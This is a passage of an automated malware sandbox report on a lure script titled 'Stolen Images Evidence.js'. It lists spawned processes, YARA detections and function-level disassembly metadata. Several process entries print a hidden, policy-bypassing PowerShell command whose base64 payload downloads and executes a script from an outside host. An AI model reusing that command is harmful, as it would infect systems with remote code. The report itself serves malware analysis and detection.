Commandline:	'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\s4fhf54g.u35\Stolen Images Evidence.js'
Imagebase:	0xdd0000
File size:	147456 bytes
MD5 hash:	7075DD7B9BE8807FCA93ACD86F724884
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000025.00000003.353205195.000000000356D000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000025.00000003.354211813.0000000003571000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000025.00000003.353237072.000000000357E000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000025.00000002.358972178.000000000584D000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000025.00000003.353366922.000000000357E000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000025.00000003.353773721.000000000584C000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000025.00000003.354245634.000000000357E000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000025.00000003.352460387.0000000005817000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000025.00000002.356582841.000000000357E000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000025.00000003.352973681.0000000005833000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000025.00000002.355988614.0000000003456000.00000004.00000020.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000025.00000003.353313097.0000000003570000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000025.00000003.354484638.0000000003A0C000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000025.00000003.353973625.000000000584D000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000025.00000003.353699865.0000000005840000.00000004.00000001.sdmp, Author: Florian Roth Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000025.00000002.356502284.000000000356D000.00000004.00000001.sdmp, Author: Florian Roth
Reputation:	low

Chronological Activities

Analysis Process: conhost.exe PID: 4684 Parent PID: 1324

General

Start time:	22:46:24
Start date:	18/10/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: powershell.exe PID: 6268 Parent PID: 1324

General

Start time:	22:46:25
Start date:	18/10/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Imagebase:	0xc40000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools, Source: 00000027.00000002.450935318.0000000003550000.00000004.00000040.sdmp, Author: Florian Roth Rule: PowerShell_Susp_Parameter_Combo, Description: Detects PowerShell invocation with suspicious parameters, Source: 00000027.00000002.450594067.0000000003140000.00000004.00000020.sdmp, Author: Florian Roth
Reputation:	low

Chronological Activities

Analysis Process: cmd.exe PID: 6420 Parent PID: 4840

General

Start time:	22:46:30
Start date:	18/10/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: conhost.exe PID: 6820 Parent PID: 6420

General

Start time:	22:46:31
Start date:	18/10/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: powershell.exe PID: 6208 Parent PID: 6420

General

Start time:	22:46:32
Start date:	18/10/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAHMAZQByAG8AbgBhAGQAbwAuAHQAbwBwAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
Imagebase:	0xc40000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: unarchiver.exe PID: 6684 Parent PID: 4724 unarchiver.exeCOMMON

Execution Graph

Execution Coverage:	20.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	74
Total number of Limit Nodes:	4

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0105B042, Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 0105B074

Memory Dump Source

Source File: 00000007.00000002.322906616.000000000105A000.00000040.00000001.sdmp, Offset: 0105A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_105a000_unarchiver.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: ab6f8540bc83482dc36c5f02b1028fd74580be41cb566a669fe61c56a086b0a2
Instruction ID: 4a1a5ea24963da12e869b96a084fd5e45366b759c16f6f221d04420e20d69ef9
Opcode Fuzzy Hash: ab6f8540bc83482dc36c5f02b1028fd74580be41cb566a669fe61c56a086b0a2
Instruction Fuzzy Hash: A601AD748003449FDB51CF29E88476AFFA4EF44220F08D4AAED988F252D279A404CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 02CC02A8, Relevance: .5, Instructions: 481COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.323122260.0000000002CC0000.00000040.00000001.sdmp, Offset: 02CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2cc0000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22883f223525533b15fce2ebd3700d7c914a20a4c461fef51ec3d566c52d80b2
Instruction ID: c292e5130e3426c31e5fad0b3a7f7882694bf4e4fc07b570590effc1d1edf58f
Opcode Fuzzy Hash: 22883f223525533b15fce2ebd3700d7c914a20a4c461fef51ec3d566c52d80b2
Instruction Fuzzy Hash: 4122F474E01218CFDB24DFA5D884B9EBBB2FF89311F1091A9E809A7256CB395D85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0105B0B2, Relevance: 1.6, APIs: 1, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,00000E2C), ref: 0105B15F

Memory Dump Source

Source File: 00000007.00000002.322906616.000000000105A000.00000040.00000001.sdmp, Offset: 0105A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_105a000_unarchiver.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 1dfa876d0749740cf121b24b6f3ee1b13b24cd4858cd790d1a4025a53ffcc69d
Instruction ID: 422eb0ed8c0558ba219c061a4f946c4764db938514c116b6381701cb7bb1c882
Opcode Fuzzy Hash: 1dfa876d0749740cf121b24b6f3ee1b13b24cd4858cd790d1a4025a53ffcc69d
Instruction Fuzzy Hash: 9B31B2715043446FEB228B65DC84FA6BFBCEF06310F0484AAF985CB152D224A909DB71

Uniqueness

Uniqueness Score: -1.00%

Function 0105AB70, Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,00000E2C), ref: 0105AC13

Memory Dump Source

Source File: 00000007.00000002.322906616.000000000105A000.00000040.00000001.sdmp, Offset: 0105A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_105a000_unarchiver.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 02aa53d7bfdc06add7c25312c788fe57e278a85606c8073f6652e7dbc721c6d5
Instruction ID: c188b0078cbee8b99a50ea7ba8bdd469c499c2be997066344eabceb55488a5a2
Opcode Fuzzy Hash: 02aa53d7bfdc06add7c25312c788fe57e278a85606c8073f6652e7dbc721c6d5
Instruction Fuzzy Hash: 9231C771504344AFEB128B69DC44F67BFECEF05310F0489AEF985CB152D224A419DB71

Uniqueness

Uniqueness Score: -1.00%

Function 0105A9E2, Relevance: 1.6, APIs: 1, Instructions: 95
pipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreatePipe.KERNELBASE(?,00000E2C,?,?), ref: 0105AAA2

Memory Dump Source

Source File: 00000007.00000002.322906616.000000000105A000.00000040.00000001.sdmp, Offset: 0105A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_105a000_unarchiver.jbxd

Similarity

API ID: CreatePipe
String ID:
API String ID: 2719314638-0
Opcode ID: c586e62cef28cd1e72ffd62d76f2df03477c1d38e8b8084f94cfd8aa348ed6eb
Instruction ID: 8c52374849d76a03940a79366edea0cdaf58e679a31f5d3d48528560ce5f2c73
Opcode Fuzzy Hash: c586e62cef28cd1e72ffd62d76f2df03477c1d38e8b8084f94cfd8aa348ed6eb
Instruction Fuzzy Hash: 0831AE6640E3C05FD3038B358C61A65BFB4AF47610F1E84DBD8C4CF1A3D2696919C762

Uniqueness

Uniqueness Score: -1.00%

Function 0105A504, Relevance: 1.6, APIs: 1, Instructions: 92
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 0105A5A9

Memory Dump Source

Source File: 00000007.00000002.322906616.000000000105A000.00000040.00000001.sdmp, Offset: 0105A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_105a000_unarchiver.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 682ecdbb9677334fe493c87d83431bc004d4d09cc6fc829d32f0d8c0e2fc7678
Instruction ID: c8d7cccc95bcf1df81ea4b85ae21498807dea7b06d8811925233ddb9407062ef
Opcode Fuzzy Hash: 682ecdbb9677334fe493c87d83431bc004d4d09cc6fc829d32f0d8c0e2fc7678
Instruction Fuzzy Hash: CB316BB1504380AFE722CF69DC44F66BFE8EF05214F0885AEE9859B252D375E809CB71

Uniqueness

Uniqueness Score: -1.00%

Function 0105A120, Relevance: 1.6, APIs: 1, Instructions: 87
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindNextFileW.KERNELBASE(?,00000E2C,?,?), ref: 0105A1C2

Memory Dump Source

Source File: 00000007.00000002.322906616.000000000105A000.00000040.00000001.sdmp, Offset: 0105A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_105a000_unarchiver.jbxd

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 774537dcc35b714f63d6805f6ae8b9167367b43eaaea07bafc22e9d88260bc65
Instruction ID: 33cc7235990f1638d9a4a14f24593e40056c0b98d25d337ec212997b15261bba
Opcode Fuzzy Hash: 774537dcc35b714f63d6805f6ae8b9167367b43eaaea07bafc22e9d88260bc65
Instruction Fuzzy Hash: 7E31D27140D3C06FD7028B358C51BA2BFB4EF47620F1981DBD9848F193D225A919C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 0105AB96, Relevance: 1.6, APIs: 1, Instructions: 80
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,00000E2C), ref: 0105AC13

Memory Dump Source

Source File: 00000007.00000002.322906616.000000000105A000.00000040.00000001.sdmp, Offset: 0105A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_105a000_unarchiver.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 94fe1d6149ca4ea9c04a1f04e61774e67cb47480c0c5c5611d52af1ec0dbc75b
Instruction ID: 2352f032560f7d75e9c57b0b32f49189fa0df78cbab6a968d9c7eedd1e8be51e
Opcode Fuzzy Hash: 94fe1d6149ca4ea9c04a1f04e61774e67cb47480c0c5c5611d52af1ec0dbc75b
Instruction Fuzzy Hash: 3021A172500208AFEB21DF69DC84FABFBECEF04310F14896AED859B551D674A5148BB1

Uniqueness

Uniqueness Score: -1.00%

Function 0105B0E2, Relevance: 1.6, APIs: 1, Instructions: 80
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,00000E2C), ref: 0105B15F

Memory Dump Source

Source File: 00000007.00000002.322906616.000000000105A000.00000040.00000001.sdmp, Offset: 0105A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_105a000_unarchiver.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 17c26364c395f95f171f1239a12bfdb051d531d079913976633eddea6709715c
Instruction ID: 667ad138f72a0de77b287c5c58d81e5f4b921d67d2298b505eb82b3f86612405
Opcode Fuzzy Hash: 17c26364c395f95f171f1239a12bfdb051d531d079913976633eddea6709715c
Instruction Fuzzy Hash: 16219072500204AFEB219F69DC84FABFBECEF04310F14886AED859B151D674A5048BB5

Uniqueness

Uniqueness Score: -1.00%

Function 0105A77C, Relevance: 1.6, APIs: 1, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNELBASE(?,00000E2C,1C372E47,00000000,00000000,00000000,00000000), ref: 0105A80A

Memory Dump Source

Source File: 00000007.00000002.322906616.000000000105A000.00000040.00000001.sdmp, Offset: 0105A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_105a000_unarchiver.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 68ae9996af20ce70ccfb8141d5b96939d2ad62b99877f6ac83b22ed6a3f63c2c
Instruction ID: 5b101354ddc34929fb3c92b7450a309bf5aba652142f25f0c5221956157cf9b9
Opcode Fuzzy Hash: 68ae9996af20ce70ccfb8141d5b96939d2ad62b99877f6ac83b22ed6a3f63c2c
Instruction Fuzzy Hash: D4219271508380AFEB128B64DC80F66BFB8EF46714F0884EAED849F153D264A809C771

Uniqueness

Uniqueness Score: -1.00%

Function 0105A85F, Relevance: 1.6, APIs: 1, Instructions: 77
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,00000E2C,1C372E47,00000000,00000000,00000000,00000000), ref: 0105A8ED

Memory Dump Source

Source File: 00000007.00000002.322906616.000000000105A000.00000040.00000001.sdmp, Offset: 0105A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_105a000_unarchiver.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: b3b738f7833b131982b6bd490ebac43c0e64f3ac288ed369313d05288a26abcc
Instruction ID: 57e14e80eca2d4ec6474cac6daefd734cfe481d4d578ab628c07a96749e3e1e5
Opcode Fuzzy Hash: b3b738f7833b131982b6bd490ebac43c0e64f3ac288ed369313d05288a26abcc
Instruction Fuzzy Hash: 43218175509380AFDB228F65DC84F97BFB8EF06310F0885DAEA849F152C265A409CB71

Uniqueness

Uniqueness Score: -1.00%

Function 0105A52A, Relevance: 1.6, APIs: 1, Instructions: 76
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 0105A5A9

Memory Dump Source

Source File: 00000007.00000002.322906616.000000000105A000.00000040.00000001.sdmp, Offset: 0105A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_105a000_unarchiver.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 40d09ed722e790a9162269e8475ec553b244962c154acb3da43fe66b02dfe5a0
Instruction ID: 2fb868c841d52ed5e770e37d15abc8898a8dfcbb498382571b0ad7584410df77
Opcode Fuzzy Hash: 40d09ed722e790a9162269e8475ec553b244962c154acb3da43fe66b02dfe5a0
Instruction Fuzzy Hash: 20218BB1600240EFEB61CF69C884F66FBE8EF08214F148569ED858B252D775E404CA61

Uniqueness

Uniqueness Score: -1.00%

Function 0105A6BB, Relevance: 1.6, APIs: 1, Instructions: 73
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNELBASE(?,00000E2C,1C372E47,00000000,00000000,00000000,00000000), ref: 0105A741

Memory Dump Source

Source File: 00000007.00000002.322906616.000000000105A000.00000040.00000001.sdmp, Offset: 0105A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_105a000_unarchiver.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 55e905603bf6eb5da08d5fa0e2dcff784f94a2c5ef2b330d89783ea3402f45f0
Instruction ID: 7a620595fa9a9ede66495e3455d496c0ca0656010d4a68d86974672443bc6d4b
Opcode Fuzzy Hash: 55e905603bf6eb5da08d5fa0e2dcff784f94a2c5ef2b330d89783ea3402f45f0
Instruction Fuzzy Hash: 9421C3B54087846FE7128B659C80BA6BFB8EF46710F0880DAED849B153D268A909D771

Uniqueness

Uniqueness Score: -1.00%

Function 0105A600, Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 0105A674

Memory Dump Source

Source File: 00000007.00000002.322906616.000000000105A000.00000040.00000001.sdmp, Offset: 0105A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_105a000_unarchiver.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 6ad16a8ebeb7416cc6eee9ed1c85f1e8d9e5d3c69be14e2cb01c25b53ff73a37
Instruction ID: 7e314d6b906fc039dfb67f8d9e4b396eb445ff8965695d8a24fd64db5b43ee5e
Opcode Fuzzy Hash: 6ad16a8ebeb7416cc6eee9ed1c85f1e8d9e5d3c69be14e2cb01c25b53ff73a37
Instruction Fuzzy Hash: C421A4B55097C49FD7138B29DC54792BFB4EF56220F0880EBEC858B563D2689908C771

Uniqueness

Uniqueness Score: -1.00%

Function 0105A448, Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,?), ref: 0105A4AF

Memory Dump Source

Source File: 00000007.00000002.322906616.000000000105A000.00000040.00000001.sdmp, Offset: 0105A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_105a000_unarchiver.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: 35576bbc49de576f4b0ff9d84992429360beb50852ad5a913e072f0084ab3b41
Instruction ID: 6bf3bdf450c3cfe1c15ec281d27092c89d088c2d3f82aa664ef1327fa76a9647
Opcode Fuzzy Hash: 35576bbc49de576f4b0ff9d84992429360beb50852ad5a913e072f0084ab3b41
Instruction Fuzzy Hash: 9A1172716053809FD751CF69DC45B57BFE8EF46220F0880EAED85CB252D674E804CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0105A88E, Relevance: 1.6, APIs: 1, Instructions: 60
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,00000E2C,1C372E47,00000000,00000000,00000000,00000000), ref: 0105A8ED

Memory Dump Source

Source File: 00000007.00000002.322906616.000000000105A000.00000040.00000001.sdmp, Offset: 0105A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_105a000_unarchiver.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1a64080626053e2d41c6f670d70de6383daa749a1007ca6d0d320221a5c3bca6
Instruction ID: b9644961818d5396bf02c142f75a0ef07624e81139ac0211f290672480b5fc30
Opcode Fuzzy Hash: 1a64080626053e2d41c6f670d70de6383daa749a1007ca6d0d320221a5c3bca6
Instruction Fuzzy Hash: 7811C475500204EFEB21CF55DC84FABFBA8EF44310F14856AEE859B151C774A404CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 0105A7AE, Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNELBASE(?,00000E2C,1C372E47,00000000,00000000,00000000,00000000), ref: 0105A80A

Memory Dump Source

Source File: 00000007.00000002.322906616.000000000105A000.00000040.00000001.sdmp, Offset: 0105A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_105a000_unarchiver.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 9ca4dfad7d034ed73dcc95e2f588b0486cc7c3179668417591097a47d181b4f0
Instruction ID: 21876052cc01660f67bd729efaed09873651af07e1b4d871b5aefbc73dd9ec04
Opcode Fuzzy Hash: 9ca4dfad7d034ed73dcc95e2f588b0486cc7c3179668417591097a47d181b4f0
Instruction Fuzzy Hash: E7119471500204AFEB61DF59DC84F6BFBA8EF44710F14856AEE859B241D674A405CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 0105A1F4, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 0105A290

Memory Dump Source

Source File: 00000007.00000002.322906616.000000000105A000.00000040.00000001.sdmp, Offset: 0105A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_105a000_unarchiver.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: c7d9c7f0794d2f18a370a6770aef5b444c2785c5d47e09f85a84b8d6c1e02305
Instruction ID: 96e4ba3b7a23c7b55bd0420989d362c56f3b9a299a38da629c0ada37ace81119
Opcode Fuzzy Hash: c7d9c7f0794d2f18a370a6770aef5b444c2785c5d47e09f85a84b8d6c1e02305
Instruction Fuzzy Hash: A511193550D3C48FD7538B299895751BFB0EF03220F1D85EBCD888F2A3C26A9949CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0105B020, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 0105B074

Memory Dump Source

Source File: 00000007.00000002.322906616.000000000105A000.00000040.00000001.sdmp, Offset: 0105A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_105a000_unarchiver.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 8b252bb3bb3d851a3a7deab933903d4d8d6c6a6a30c693696e6d33acab51ceef
Instruction ID: 9afd457835dc2148bd9a423e4824c61e5cfe668f8baff320baae63c35c9d3f10
Opcode Fuzzy Hash: 8b252bb3bb3d851a3a7deab933903d4d8d6c6a6a30c693696e6d33acab51ceef
Instruction Fuzzy Hash: 96117C754093849FDB12CF25DC84B56FFB4DF46220F0884EAED888F253D279A908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0105A6EE, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E2C,1C372E47,00000000,00000000,00000000,00000000), ref: 0105A741

Memory Dump Source

Source File: 00000007.00000002.322906616.000000000105A000.00000040.00000001.sdmp, Offset: 0105A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_105a000_unarchiver.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: f5956da0d1ea8afb2b2466ddbcf70ffcea38caedaf861212063b4b3e3b20566d
Instruction ID: 127458a773d70dffa84457f0c5279ff99d44d678afaf01d9863db1cf41b120b3
Opcode Fuzzy Hash: f5956da0d1ea8afb2b2466ddbcf70ffcea38caedaf861212063b4b3e3b20566d
Instruction Fuzzy Hash: 0901D671500204AFE751CB59DC85B6BFBA8EF44720F14C496EE859B241D674A404CAB1

Uniqueness

Uniqueness Score: -1.00%

Function 0105A46A, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,?), ref: 0105A4AF

Memory Dump Source

Source File: 00000007.00000002.322906616.000000000105A000.00000040.00000001.sdmp, Offset: 0105A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_105a000_unarchiver.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: 3d370817dafe6f02f1e2de38b417addf10a0856a8f19845268a3a5702f7eb2d8
Instruction ID: 9df24705932bc98f523866f63f1dccd2cdf9400c96265ed31882f17203036714
Opcode Fuzzy Hash: 3d370817dafe6f02f1e2de38b417addf10a0856a8f19845268a3a5702f7eb2d8
Instruction Fuzzy Hash: 0D113C756012408FEB90CF69D889B6BBFD8EB44620F08C5AADD49CB642E674E404CF61

Uniqueness

Uniqueness Score: -1.00%

Function 0105ADF7, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(?), ref: 0105AE50

Memory Dump Source

Source File: 00000007.00000002.322906616.000000000105A000.00000040.00000001.sdmp, Offset: 0105A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_105a000_unarchiver.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 72ccd41ad6d369255e270404112501c002d4da80c64b31a8eb35d66e0dc26b82
Instruction ID: 2775cf9141d1a8a47e7d83854ba25c5349b9f0d1b6e18a9fd3b5986329dce138
Opcode Fuzzy Hash: 72ccd41ad6d369255e270404112501c002d4da80c64b31a8eb35d66e0dc26b82
Instruction Fuzzy Hash: D111A0715093C09FD7128B29DC45A52FFF8EF06220F0980EBED858B263C278A848CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0105A23C, Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 0105A290

Memory Dump Source

Source File: 00000007.00000002.322906616.000000000105A000.00000040.00000001.sdmp, Offset: 0105A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_105a000_unarchiver.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: cba54a39648c1a15751098d1c57197f581a0c588265fdcd23dce61bda58b3934
Instruction ID: 8073a2a8bce991463832bb9f149cea60528d35195867ead91c41a0cebbccc2e1
Opcode Fuzzy Hash: cba54a39648c1a15751098d1c57197f581a0c588265fdcd23dce61bda58b3934
